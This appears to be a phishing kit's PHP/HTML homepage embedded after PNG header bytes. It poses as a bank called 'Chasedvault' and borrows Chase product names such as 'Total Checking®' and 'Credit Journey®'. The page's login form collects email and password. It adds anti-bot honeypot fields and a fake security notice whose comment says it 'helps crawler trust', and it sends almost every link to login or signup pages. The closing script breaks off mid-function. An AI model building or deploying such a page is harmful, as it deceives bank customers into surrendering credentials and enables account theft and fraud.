PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<!doctype html>
<html lang="en">
<?php include("header.php") ?>
<body>
<main>
<!-- Primary hero with deposit/login -->
<section class="hero-section" aria-label="Hero">
<div class="hero-content">
<div class="icon-circle" aria-hidden="true">
<div class="icon-content">
<div class="phone-icon">
<div class="phone-screen">
<div class="phone-lines"></div>
<div class="phone-lines"></div>
</div>
</div>
<div class="check-icon">
<div class="check-lines"></div>
<div class="check-lines"></div>
<div class="check-lines"></div>
</div>
</div>
</div>
<div class="hero-text">
<h1>Deposit checks with our app</h1>
<p>Use your phone's camera to deposit checks quickly and securely with Chasedvault .</p>
<a href="about.php" class="learn-more-btn" id="learnMore">Learn more</a>
</div>
</div>
<div class="login-card" aria-labelledby="login-title">
<h2 id="login-title">Welcome</h2>
<form id="loginForm" method="post" autocomplete="off">
<input type="text" name="website" style="display:none">
<input type="hidden" name="form_time" value="<?= time() ?>">
<div class="form-group">
<label for="username">Email</label>
<input class="input-field" type="text" name="email"autocomplete="username" required>
</div>
<!-- honeypot field (hidden from users) -->
<div class="form-group">
<label for="password">Password</label>
<div class="input-wrapper">
<input class="input-field" type="password" id="password" name="password" autocomplete="current-password" required>
<button type="button" class="show-password" id="togglePassword" aria-pressed="false">Show</button>
</div>
</div>
<div class="form-group" style="display:flex;justify-content:space-between;align-items:center;">
<label style="display:flex;align-items:center;gap:8px;">
<input type="checkbox" id="remember" name="remember"> Remember me</label>
<a class="use-token" href="login.php?t" style="color:var(--accent);text-decoration:none;font-weight:600">Use token ›</a>
</div>
<button type="submit" class="card-button" style="width:100%;">Sign in</button>
<div style="margin-top:12px;display:flex;flex-direction:column;gap:8px;">
<a href="forgot_password.php" style="color:var(--accent);text-decoration:none;font-weight:600">Forgot username/password</a>
<a href="signup_step1.php" style="color:var(--accent);text-decoration:none;font-weight:600">Not Enrolled? Sign Up Now</a>
</div>
</form>
<!-- small user-facing security note (helps crawler trust) -->
<div style="margin-top:10px;font-size:12px;color:var(--muted);">
For your security, ensure the address bar shows <strong>https://Chasedvault.com</strong>. We will never ask for your password by email.
</div>
</div>
</section>
<!-- Category carousel + products -->
<div id="carouselContainer" style="position:relative;overflow:hidden;width:100%;max-width:1200px;margin:0 auto;padding:20px 0;">
<!-- Carousel Track -->
<div id="carouselTrack" style="display:flex;transition:transform 0.4s ease;">
<!-- Slide Items -->
<a href="#" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'" >
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="10" y="25" width="40" height="25" rx="2"/>
<rect x="15" y="20" width="30" height="5"/>
<line x1="15" y1="35" x2="35" y2="35"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Business</span>
</a>
<!-- Credit Cards -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="10" y="20" width="40" height="25" rx="2"/>
<rect x="15" y="25" width="30" height="2"/>
<rect x="15" y="32" width="20" height="2"/>
<rect x="40" y="32" width="5" height="2"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Credit Cards</span>
</a>
<!-- Checking -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="15" y="15" width="30" height="30" rx="2"/>
<line x1="20" y1="25" x2="40" y2="25"/>
<line x1="20" y1="30" x2="35" y2="30"/>
<line x1="20" y1="35" x2="30" y2="35"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Checking</span>
</a>
<!-- Travel -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<path d="M15,35 L25,25 L35,35 L45,25" />
<circle cx="20" cy="20" r="3"/>
<circle cx="40" cy="20" r="3"/>
<line x1="20" y1="40" x2="40" y2="40"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Travel</span>
</a>
<!-- Savings -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="15" y="20" width="30" height="20" rx="2"/>
<line x1="20" y1="25" x2="40" y2="25"/>
<line x1="20" y1="30" x2="35" y2="30"/>
<line x1="20" y1="35" x2="30" y2="35"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Savings</span>
</a>
<!-- Business -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="10" y="25" width="40" height="25" rx="2"/>
<rect x="15" y="20" width="30" height="5"/>
<line x1="15" y1="35" x2="35" y2="35"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Business</span>
</a>
<!-- Credit Cards -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="10" y="20" width="40" height="25" rx="2"/>
<rect x="15" y="25" width="30" height="2"/>
<rect x="15" y="32" width="20" height="2"/>
<rect x="40" y="32" width="5" height="2"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Credit Cards</span>
</a>
<!-- Checking -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="15" y="15" width="30" height="30" rx="2"/>
<line x1="20" y1="25" x2="40" y2="25"/>
<line x1="20" y1="30" x2="35" y2="30"/>
<line x1="20" y1="35" x2="30" y2="35"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Checking</span>
</a>
<!-- Travel -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<path d="M15,35 L25,25 L35,35 L45,25" />
<circle cx="20" cy="20" r="3"/>
<circle cx="40" cy="20" r="3"/>
<line x1="20" y1="40" x2="40" y2="40"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Travel</span>
</a>
<!-- Savings -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="15" y="20" width="30" height="20" rx="2"/>
<line x1="20" y1="25" x2="40" y2="25"/>
<line x1="20" y1="30" x2="35" y2="30"/>
<line x1="20" y1="35" x2="30" y2="35"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Savings</span>
</a>
<!-- Home Loans -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<polygon points="30,15 45,25 45,40 15,40 15,25"/>
<rect x="25" y="30" width="10" height="10"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Home Loans</span>
</a>
<!-- Auto -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="10" y="25" width="40" height="15" rx="2"/>
<circle cx="20" cy="40" r="5"/>
<circle cx="40" cy="40" r="5"/>
<rect x="15" y="20" width="30" height="5"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Auto</span>
</a>
<!-- Investments -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<polyline points="15,35 25,25 35,30 45,20" />
<line x1="15" y1="35" x2="45" y2="35"/>
<line x1="15" y1="40" x2="45" y2="40"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Investments</span>
</a>
<!-- Commercial -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="10" y="15" width="40" height="30" rx="2"/>
<line x1="15" y1="20" x2="25" y2="20"/>
<line x1="15" y1="25" x2="25" y2="25"/>
<line x1="15" y1="30" x2="25" y2="30"/>
<rect x="30" y="20" width="15" height="15"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Commercial</span>
</a>
<!-- Schedule a meeting -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="15" y="15" width="30" height="30" rx="2"/>
<line x1="15" y1="25" x2="45" y2="25"/>
<line x1="25" y1="15" x2="25" y2="45"/>
<circle cx="35" cy="35" r="3"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Schedule a meeting</span>
</a>
<!-- Free credit score -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="15" y="20" width="30" height="20" rx="2"/>
<line x1="20" y1="25" x2="40" y2="25"/>
<line x1="20" y1="30" x2="35" y2="30"/>
<line x1="20" y1="35" x2="30" y2="35"/>
<circle cx="45" cy="25" r="2" fill="#0066b2"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Free credit score</span>
</a>
<!-- Home Loans -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<polygon points="30,15 45,25 45,40 15,40 15,25"/>
<rect x="25" y="30" width="10" height="10"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Home Loans</span>
</a>
<!-- Duplicate items for infinite loop -->
<a href="login.php" style="display:flex;flex-direction:column;align-items:center;gap:15px;text-decoration:none;color:#0066b2;min-width:16.6666%;box-sizing:border-box;transition:transform 0.2s;"
onmouseover="this.style.transform='translateY(-5px)'" onmouseout="this.style.transform='translateY(0)'">
<div style="width:60px;height:60px;display:flex;align-items:center;justify-content:center;">
<svg viewBox="0 0 60 60" style="width:100%;height:100%;stroke:#0066b2;fill:none;stroke-width:1.5;">
<rect x="10" y="25" width="40" height="25" rx="2"/>
<rect x="15" y="20" width="30" height="5"/>
<line x1="15" y1="35" x2="35" y2="35"/>
</svg>
</div>
<span style="font-size:16px;font-weight:500;">Business</span>
</a>
</div>
<!-- Left Arrow -->
<button id="prevBtn" onclick="prevSlide()" style="position:absolute;top:50%;left:10px;transform:translateY(-50%);background:none;border:none;color:#0066b2;font-size:36px;cursor:pointer;padding:5px;opacity:0.7;z-index:10;">‹</button>
<!-- Right Arrow -->
<button id="nextBtn" onclick="nextSlide()" style="position:absolute;top:50%;right:10px;transform:translateY(-50%);background:none;border:none;color:#0066b2;font-size:36px;cursor:pointer;padding:5px;opacity:0.7;z-index:10;">›</button>
</div>
<!-- Dots -->
<div id="carouselDots" style="display:flex;justify-content:center;gap:12px;margin-top:20px;">
<span onclick="goToSlide(0)" style="width:12px;height:12px;border-radius:50%;border:2px solid #0066b2;cursor:pointer;background-color:#0066b2;display:inline-block;"></span>
<span onclick="goToSlide(1)" style="width:12px;height:12px;border-radius:50%;border:2px solid #0066b2;cursor:pointer;display:inline-block;"></span>
</div>
<script>
const track = document.getElementById('carouselTrack');
const items = track.children;
const totalItems = items.length;
let slideIndex = 0;
// Determine items per slide
function itemsPerSlide() {
return window.innerWidth <= 768 ? 4 : 6; // Mobile 4, Desktop 6
}
function updateCarousel() {
const perSlide = itemsPerSlide();
const slideWidth = 100 / perSlide;
for(let i=0;i<items.length;i++) items[i].style.minWidth = slideWidth + '%';
track.style.transform = `translateX(-${slideIndex*slideWidth}%)`;
updateDots();
}
function nextSlide() {
const perSlide = itemsPerSlide();
slideIndex++;
if(slideIndex > totalItems - perSlide) slideIndex = 0;
updateCarousel();
}
function prevSlide() {
const perSlide = itemsPerSlide();
slideIndex--;
if(slideIndex < 0) slideIndex = totalItems - perSlide;
updateCarousel();
}
function goToSlide(index) {
slideIndex = index * itemsPerSlide();
updateCarousel();
}
function updateDots() {
const dots = document.getElementById('carouselDots').children;
for(let i=0;i<dots.length;i++) dots[i].style.backgroundColor = i === Math.floor(slideIndex/itemsPerSlide()) ? '#0066b2' : 'transparent';
}
window.addEventListener('resize', updateCarousel);
updateCarousel();
// Optional: touch swipe
let startX = 0;
track.addEventListener('touchstart', e => startX = e.touches[0].clientX);
track.addEventListener('touchend', e => {
const endX = e.changedTouches[0].clientX;
if(endX < startX - 20) nextSlide();
if(endX > startX + 20) prevSlide();
});
</script>
<style>
.category-carousel-wrapper {
position: relative;
margin-bottom: 40px;
padding: 0 50px;
}
.category-carousel {
overflow: hidden;
}
.category-track {
display: flex;
transition: transform 0.4s ease;
}
.category-slide {
min-width: 100%;
display: flex;
justify-content: center;
gap: 40px;
flex-wrap: wrap;
padding: 0 20px;
}
.category-item {
display: flex;
flex-direction: column;
align-items: center;
gap: 10px;
cursor: pointer;
transition: transform 0.2s;
padding: 10px;
position: relative;
}
.category-item:hover {
transform: translateY(-5px);
}
.category-item.active::after {
content: '';
position: absolute;
bottom: 0;
left: 0;
right: 0;
height: 3px;
background: #0066cc;
}
.category-icon {
width: 60px;
height: 60px;
display: flex;
align-items: center;
justify-content: center;
}
.category-icon svg {
width: 100%;
height: 100%;
fill: none;
stroke: #666;
stroke-width: 2;
stroke-linecap: round;
stroke-linejoin: round;
}
.category-item:hover .category-icon svg,
.category-item.active .category-icon svg {
stroke: #0066cc;
}
.category-label {
color: #0066cc;
font-size: 14px;
text-align: center;
}
.category-arrow {
position: absolute;
top: 50%;
transform: translateY(-50%);
background: white;
border: 2px solid #0066cc;
color: #0066cc;
width: 40px;
height: 40px;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
font-size: 20px;
z-index: 10;
transition: all 0.2s;
}
.category-arrow:hover {
background: #0066cc;
color: white;
}
.category-arrow.left {
left: 0;
}
.category-arrow.right {
right: 0;
}
.carousel-controls {
display: flex;
justify-content: center;
align-items: center;
gap: 15px;
margin-bottom: 30px;
}
.carousel-dots {
display: flex;
gap: 10px;
}
.dot {
width: 12px;
height: 12px;
border-radius: 50%;
border: 2px solid #0066cc;
background: white;
cursor: pointer;
transition: background 0.3s;
}
.dot.active {
background: #0066cc;
}
.products-section {
display: flex;
gap: 20px;
padding: 0 10px;
}
.card {
flex: 1;
border: 1px solid #ddd;
border-radius: 8px;
overflow: hidden;
display: flex;
flex-direction: column;
background: white;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
min-width: 280px;
}
.card-header {
background: #0066cc;
color: white;
padding: 40px 30px;
display: flex;
justify-content: space-between;
align-items: center;
}
.card-title {
font-size: 1.8rem;
font-weight: normal;
}
.card-icon {
width: 60px;
height: 60px;
display: flex;
align-items: center;
justify-content: center;
}
.card-icon svg {
width: 100%;
height: 100%;
fill: white;
stroke: white;
stroke-width: 2;
}
.card-body {
padding: 30px;
flex-grow: 1;
display: flex;
flex-direction: column;
}
.card-heading {
font-size: 1.5rem;
color: #333;
margin-bottom: 20px;
}
.card-description {
color: #666;
line-height: 1.6;
margin-bottom: 30px;
flex-grow: 1;
}
.card-button {
background: #0066cc;
color: white;
border: none;
padding: 15px 40px;
border-radius: 6px;
font-size: 16px;
cursor: pointer;
align-self: flex-start;
transition: background 0.2s;
}
.card-button:hover {
background: #004999;
}
@media (max-width: 768px) {
h1 {
font-size: 1.8rem;
}
.category-carousel-wrapper {
padding: 0 40px;
}
.category-slide {
gap: 20px;
}
.category-item {
min-width: 100px;
}
.category-icon {
width: 50px;
height: 50px;
}
.category-label {
font-size: 12px;
}
.products-section {
flex-direction: column;
}
.card {
min-width: 100%;
}
.card-header {
padding: 30px 20px;
}
.card-title {
font-size: 1.5rem;
}
.card-icon {
width: 50px;
height: 50px;
}
.card-body {
padding: 20px;
}
.card-heading {
font-size: 1.2rem;
}
}
@media (max-width: 480px) {
.container {
padding: 20px 10px;
}
h1 {
font-size: 1.5rem;
margin-bottom: 30px;
}
.category-carousel-wrapper {
padding: 0 30px;
}
.category-arrow {
width: 35px;
height: 35px;
font-size: 18px;
}
}
</style>
<br>
<hr>
<br>
<div class="products-section" id="productsSection">
<div class="card">
<div class="card-header">
<div class="card-title">ChasedvaultTotal<br>Checking®</div>
<div class="card-icon">
<svg viewBox="0 0 60 60">
<rect x="10" y="20" width="40" height="25" rx="3"/>
<rect x="10" y="25" width="40" height="8" fill="#004999"/>
<line x1="15" y1="38" x2="30" y2="38"/>
</svg>
</div>
</div>
<div class="card-body">
<div class="card-heading">Open our most popular checking account</div>
<div class="card-description">ChasedvaultTotal Checking gives you the banking essentials, all with no minimum deposit to open.</div>
<a href="signup_step1.php" class="card-button">Open now</a>
</div>
</div>
<div class="card">
<div class="card-header">
<div class="card-title">Home<br>Lending</div>
<div class="card-icon">
<svg viewBox="0 0 60 60">
<path d="M10 30 L30 15 L50 30"/>
<rect x="15" y="30" width="30" height="20"/>
<rect x="25" y="35" width="10" height="15"/>
<rect x="35" y="35" width="6" height="6"/>
</svg>
</div>
</div>
<div class="card-body">
<div class="card-heading">Guaranteed on-time closing or get $5,000</div>
<div class="card-description">We promise an on-time closing for eligible products in as soon as three weeks or you'll get $5,000, if you qualify.</div>
<a href="signup_step1.php" class="card-button">Get started</a>
</div>
</div>
<div class="card">
<div class="card-header">
<div class="card-title">ChasedvaultCredit<br>Journey®</div>
<div class="card-icon">
<svg viewBox="0 0 60 60">
<circle cx="30" cy="30" r="18"/>
<path d="M30 15 A15 15 0 0 1 45 30" stroke-width="4"/>
<circle cx="30" cy="30" r="3"/>
<line x1="30" y1="30" x2="42" y2="25"/>
</svg>
</div>
</div>
<div class="card-body">
<div class="card-heading">Get your free credit score</div>
<div class="card-description">With ChasedvaultCredit Journey®, access your credit score anytime for free — with no impact to your credit.</div>
<a href="signup_step1.php" class="card-button">See credit score</a>
</div>
</div>
</div>
<br>
<hr>
<br>
<div id="promoSection" style="display:flex;flex-wrap:wrap;align-items:center;justify-content:center;gap:40px;padding:40px 20px;max-width:1200px;margin:0 auto;box-sizing:border-box;">
<!-- Card -->
<div style="flex:1 1 500px;display:flex;flex-direction:row;align-items:center;gap:30px;box-sizing:border-box;flex-wrap:wrap;">
<!-- Image -->
<img src="mo.png" alt="Promotional Image"
style="flex:1 1 30px;width:100%;height:auto;margin:0 auto;display:block;border-radius:10px;transition:transform 0.3s;"
onmouseover="this.style.transform='scale(1.05)'"
onmouseout="this.style.transform='scale(1)'">
<!-- Text Content -->
<div style="flex:1 1 300px;display:flex;flex-direction:column;gap:15px;">
<div style="font-size:24px;font-weight:600;color:#333;">Security and control at your fingertips</div>
<div style="font-size:16px;color:#555;line-height:1.6;">
With the Chasedvault. you can manage your accounts anytime, anywhere. Lock your card, view recent transactions, set up payments and more.
</div>
<a href="signup_step1.php" style="padding:12px 24px;background-color:#0066b2;color:#fff;font-size:16px;font-weight:500;border:none;border-radius:6px;cursor:pointer;transition:background-color 0.3s, transform 0.2s;"
onmouseover="this.style.backgroundColor='#0055a2';this.style.transform='scale(1.05)'"
onmouseout="this.style.backgroundColor='#0066b2';this.style.transform='scale(1)'">
Open now
</a>
</div>
</div>
</div>
<script>
// Make it fully responsive for mobile
function updatePromoSection() {
const card = document.querySelector('#promoSection > div');
if(window.innerWidth <= 768){
card.style.flexDirection = 'column';
card.style.alignItems = 'center';
} else {
card.style.flexDirection = 'row';
card.style.alignItems = 'center';
}
}
window.addEventListener('resize', updatePromoSection);
updatePromoSection();
</script>
<br>
<hr>
<br>
<div style="display:flex;flex-wrap:wrap;align-items:center;justify-content:center;gap:40px;padding:40px 20px;max-width:1200px;margin:0 auto;box-sizing:border-box;">
<!-- Card -->
<div style="flex:1 1 500px;display:flex;flex-direction:row-reverse;align-items:center;gap:30px;box-sizing:border-box;flex-wrap:wrap;">
<!-- Image -->
<img src="cr.png" alt="Credit Card Image"
style="flex:1 1 300px;max-width:400px;width:100%;height:auto;margin:0 auto;display:block;border-radius:10px;transition:transform 0.3s;"
onmouseover="this.style.transform='scale(1.05)'"
onmouseout="this.style.transform='scale(1)'">
<!-- Text Content -->
<div style="flex:1 1 300px;display:flex;flex-direction:column;gap:15px;">
<div style="font-size:24px;font-weight:600;color:#333;">Credit card processing</div>
<div style="font-size:16px;color:#555;line-height:1.6;">
A complete suite of payment solutions to accept credit cards, made simple and secure.
</div>
<a href="login.php" style="padding:12px 24px;background-color:#0066b2;color:#fff;font-size:16px;font-weight:500;border:none;border-radius:6px;cursor:pointer;transition:background-color 0.3s, transform 0.2s;"
onmouseover="this.style.backgroundColor='#0055a2';this.style.transform='scale(1.05)'"
onmouseout="this.style.backgroundColor='#0066b2';this.style.transform='scale(1)'">
Open now
</a>
</div>
</div>
</div>
<script>
// Make it responsive for mobile
function updateCardLayout() {
const card = document.querySelectorAll('div[style*="flex-direction:row-reverse"]');
card.forEach(c => {
if(window.innerWidth <= 768){
c.style.flexDirection = 'column';
c.style.alignItems = 'center';
} else {
c.style.flexDirection = 'row-reverse';
c.style.alignItems = 'center';
}
});
}
window.addEventListener('resize', updateCardLayout);
updateCardLayout();
</script>
<br>
<hr>
<br>
<div style="display:flex;flex-wrap:wrap;align-items:center;justify-content:center;gap:40px;padding:40px 20px;max-width:1200px;margin:0 auto;box-sizing:border-box;">
<!-- Card with unique class -->
<div class="card-left" style="flex:1 1 500px;display:flex;flex-direction:row;align-items:center;gap:30px;box-sizing:border-box;flex-wrap:wrap;">
<!-- Image -->
<img src="1.jpg" alt="Knowledge Center Image"
style="flex:1 1 300px;max-width:400px;width:100%;height:auto;margin:0 auto;display:block;border-radius:10px; transition:transform 0.3s;"
onmouseover="this.style.transform='scale(1.05)'"
onmouseout="this.style.transform='scale(1)'">
<!-- Text Content -->
<div style="flex:1 1 300px;display:flex;flex-direction:column;gap:15px;">
<div style="font-size:24px;font-weight:600;color:#333;">Explore the Knowledge Center</div>
<div style="font-size:16px;color:#555;line-height:1.6;">
Find articles, videos and expert guidance to help you start, manage, or grow your finances and business.
</div>
<a href="signup_step1.php" style="padding:12px 24px;background-color:#0066b2;color:#fff;font-size:16px;font-weight:500; " href="#knowledge" class="cta" style="display:inline-block">Continue</a>
</div>
</div>
</div>
<script>
// Responsive behavior only for this card
function updateCardLeft() {
const card = document.querySelectorAll('.card-left');
card.forEach(c => {
if(window.innerWidth <= 768){
c.style.flexDirection = 'column';
c.style.alignItems = 'center';
} else {
c.style.flexDirection = 'row';
c.style.alignItems = 'center';
}
});
}
window.addEventListener('resize', updateCardLeft);
updateCardLeft();
</script>
<!-- Features -->
<section class="container-max" style="max-width:var(--max);margin:18px auto;padding:0 22px 40px;">
<div style="display:grid; grid-template-columns:repeat(auto-fit,minmax(220px,1fr)); gap:18px;">
<div style="background:white;padding:18px;border-radius:12px;box-shadow:var(--card-shadow)">
<h4 style="margin:0 0 8px;color:#08203a">Security & Trust</h4>
<p style="margin:0;color:var(--muted)">Multi-factor authentication, encryption and 24/7 monitoring protect your money and identity.</p>
</div>
<div style="background:white;padding:18px;border-radius:12px;box-shadow:var(--card-shadow)">
<h4 style="margin:0 0 8px;color:#08203a">Global payments</h4>
<p style="margin:0;color:var(--muted)">Fast local and international transfers with transparent FX and low fees.</p>
</div>
<div style="background:white;padding:18px;border-radius:12px;box-shadow:var(--card-shadow)">
<h4 style="margin:0 0 8px;color:#08203a">Card & Mobile</h4>
<p style="margin:0;color:var(--muted)">Lock/unlock cards, set travel notices and use digital wallets in a tap.</p>
</div>
<div style="background:white;padding:18px;border-radius:12px;box-shadow:var(--card-shadow)">
<h4 style="margin:0 0 8px;color:#08203a">Advisor Services</h4>
<p style="margin:0;color:var(--muted)">Get personalized financial planning and investment advice when you need it.</p>
</div>
</div>
</section>
</main>
<?php include("footer.php") ?>
<script>
document.addEventListener('DOMContentLoaded', function () {
// Mobile drawer
const hamb = document.getElementById('hambtn');
const drawer = document.getElementById('mobile-drawer');
const closeBtn = document.getElementById('close-drawer');
function openDrawer(){
drawer.classList.add('show');
drawer.setAttribute('aria-hidden','false');
hamb.setAttribute('aria-expanded','true');
setTimeout(()=> closeBtn.focus(), 120);
}
function closeDrawer(){
drawer.classList.remove('show');
drawer.setAttribute('aria-hidden','true');
hamb.setAttribute('aria-expanded','false');
hamb.focus();
}
hamb && hamb.addEventListener('click', openDrawer);
closeBtn && closeBtn.addEventListener('click', closeDrawer);
drawer && drawer.addEventListener('keydown', (e)=> { if(e.key === 'Escape') closeDrawer(); });
// Smooth scroll for internal links
document.querySelectorAll('a[href^="#"]').forEach(a=>{
a.addEventListener('click', function(e){
const id = this.getAttribute('href');
if(id && id.length > 1){
const el = document.querySelector(id);
if(el){
e.preventDefault();
el.scrollIntoView({behavior:'smooth', block:'start'});
if(drawer.classList.contains('show')) closeDrawer();
}
}
});
});
// CTA pulse only on desktop
(function(){
